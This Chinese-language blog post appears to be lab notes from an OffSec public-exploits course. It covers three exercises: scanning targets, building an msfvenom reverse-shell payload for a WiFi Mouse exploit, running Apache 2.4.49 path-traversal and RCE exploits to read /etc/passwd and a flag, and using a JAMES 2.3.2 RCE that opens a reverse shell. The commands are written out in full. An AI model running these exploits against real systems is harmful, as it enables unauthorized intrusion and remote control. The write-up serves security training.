公開的漏洞(Public Exploits) - 練習

 公開的漏洞(Public Exploits) - 練習


練習 1 (12.4.1.1)

靶機 IP : 192.168.225.10

先 rustscan └─$ rustscan -a 192.168.223.10 --scripts none --ulimit 500

135、139、445、1978、跟一堆 RPC High Port 看來是台 Windows,445 SMB 看來較有機會



用 nmap 帶 script 掃一下 OS 看看

└─$ sudo nmap -v -p 139,445 --script  smb-os-discovery 192.168.225.10

是台 Windows 10 獨立機器無 Domain,主機名稱是 remotemouse



接著看看 445 有沒有 Share 甚麼資料夾
└─$ sudo nmap -sV -sC -p 139,445 192.168.225.10 --script smb-enum-shares.nse
script 預設帶的帳號是 guest,發現有一個分享名稱 offsec 擁有讀寫的權限


登入看看有甚麼東西
└─$ smbclient '\\192.168.225.10\offsec' -U guest,詢問密碼時直接 Enter 即可
好多檔案阿,那就逛一逛吧


使用 curl 指令丟個 body.txt 檔案上去試試看

└─$ curl --upload-file /home/kali_r/body.txt  -u 'workgroup\guest' smb://192.168.225.10/offsec/

不用 curl 在 smb 底下也可以直接使用 put 指令上傳檔案,刪除檔案使用 rm



重新 dir 一下,看到該路徑確實可以寫入檔案




逛了一下整個 offsec 的目錄與相關檔案,僅有 Downloads 路徑下有幾個檔案

主要是三個 *.exe 檔案跟最後一個圖檔(下載回來看過了沒啥鳥用)




第一個檔案 7z2200-x64.exe,是 7-ZIP 22 版安裝程式,依據資安人口理論

Google 搜尋 7z2200-x64.exe exploit 看來沒啥鳥用






第二個檔案 ccsetup601.exe,是 CCLear 6.01.xx 版安裝程式,依據資安人口理論

Google 搜尋 ccsetup601.exe exploit 看來一樣沒啥鳥用





第三個檔案 MouseServer.exe,不知道是啥但 Google 搜尋 MouseServer.exe exploit

第一個是 exploitdb 第二個是 github,看來應該是它,拜讀漏洞看看




Exploit DB 上搜尋 WiFi Mouse 1.7.8.5 可以看到有兩個 Exploits 如下圖

很少有 Exploit A 屬性會有檔案,看一下發現連結如下,跟 SMB 中看到的檔案一樣

看來應該就是它了

https://www.exploit-db.com/apps/46b494c56615f48dd09065108d604762-MouseServer.exe






點進去 https://www.exploit-db.com/exploits/50972 看到 Port = 1978

想到一開始的 rustscan 掃到 1978 Port ,看來中獎了






文件內容寫明需要參數如下

 - 目標 IP

 - Local IP

 - payload-name --> 所以要先包好 payload

不知道要輸入甚麼其實直接執行該 python code 也會告訴你

except:
	print("USAGE: python " + sys.argv[0]+ " <target-ip> <local-http-server-ip> <payload-name>")
	exit()


既然有 payload 最簡單就是透過 msfvenom 內建的套件來包 payload,指令如下

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.187 LPORT=4444 -f exe -o shell.exe

msfvenom 已經取代 msfpayload & msfencode,用於生成木馬專用的程式

參數 -p : --payload < payload> 指定需要使用的 payload (攻擊荷載)。也可以使用自定義 payload 幾乎是支援全平臺的

參數 -f : --format < format> 指定輸出格式

參數 -o : --out < path> 指定建立好的payload的存放位置

其他參數可以參考 https://www.796t.com/article.php?id=162291




包好後直接執行吧

└─$ python 50972.py 192.168.225.10 192.168.45.187 remoteshell.exe                                  



HTTP Server 看到來抓 Payload 了



Remote Shell 進來了,拿答案吧






練習 2 (12.4.1.2)

靶機 IP : 192.168.199.188

先 rustscan └─$ rustscan -a 192.168.199.188 --scripts none --ulimit 5000

只有 80,看來應該相對容易



開啟來看一看網站



有填表格的地方,但這裡不是 command injection or SQL injection 所以先跳過

暫時沒看到用啥套件架站的




先做一下 whatweb 吧,看到 Apache 2.4.49,這目錄遍歷標準漏洞版阿



網頁上找不到可以利用的 URL 目錄遍歷



curl 特定幾個目錄也都沒有反應

└─$ curl http://192.168.199.188/cgi-bin/../../../../../../../../ect/passwd 



URL encode 再打打看跳 500 Error



nmap 80 掃掃看,跟 whatweb  一樣結果,僅有個 Apache 2.4.49

└─$ sudo nmap -sV -sC -p 80 192.168.199.188          



searchsploit Apache 2.4.49 看看結果

除了 Path Traversal 以外還有 RCE,代號 50383




那就用 RCE 漏洞測試看看

└─$ searchsploit -m 50383     




Exploit DB 一樣搜尋 Apache 2.4.49 結果如下圖,A 屬性有東西看來就更像是它了




看一下 code,相對簡單,直接拿來利用試試看吧,這是一個 .sh 檔案,最後兩行有範例

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami



所以先將目標靶機寫入 target.txt





因為答案幾乎都是在使用者的桌面或是家目錄底下,先查一下使用者帳號吧

└─$ ./50383.sh target.txt /bin/sh "ls /home" 

看來只有一個帳號 offsec



ls 看看有啥東西,就看到 flag 了

└─$ ./50383.sh target.txt /bin/sh "ls /home/offsec"



直接 cat 拿答案吧

└─$ ./50383.sh target.txt /bin/sh "cat /home/offsec/flag.txt"










練習 3 (12.4.1.3)

靶機 IP : 192.168.199.52

帳號/密碼 : student/lab

SSH on Port 32826


第一步一樣先 rustscan

└─$ rustscan -a 192.168.199.52 --scripts none --ulimit 500

共開 6 個 Port,22、32822、32823、32824、32825、32826(SSH,題目有說)





nmap 確認看看相關 Port 的服務
└─$ sudo nmap -sV -sC -p 22,32822,32823,32824,32825,32826 192.168.199.52 
都有 James,滿特別的


直接查一下 searchsploit └─$ searchsploit JAMES Remote 2.3.2
RCE 有兩個,就先試試看吧


Exploit DB 僅有兩個,相差有七年,先用近年的那個試試看
兩個 A 屬性都有值,看來應該就是了






看了一下內容,主要要改這兩個,對應剛剛的 namp 結果
看來就是 32822 & 32825




指令 sample 在此
if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

跑跑看吧
└─$ python 50347.py 192.168.199.52 192.168.45.225 4444 



Remote shell 進來了,拿答案吧




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)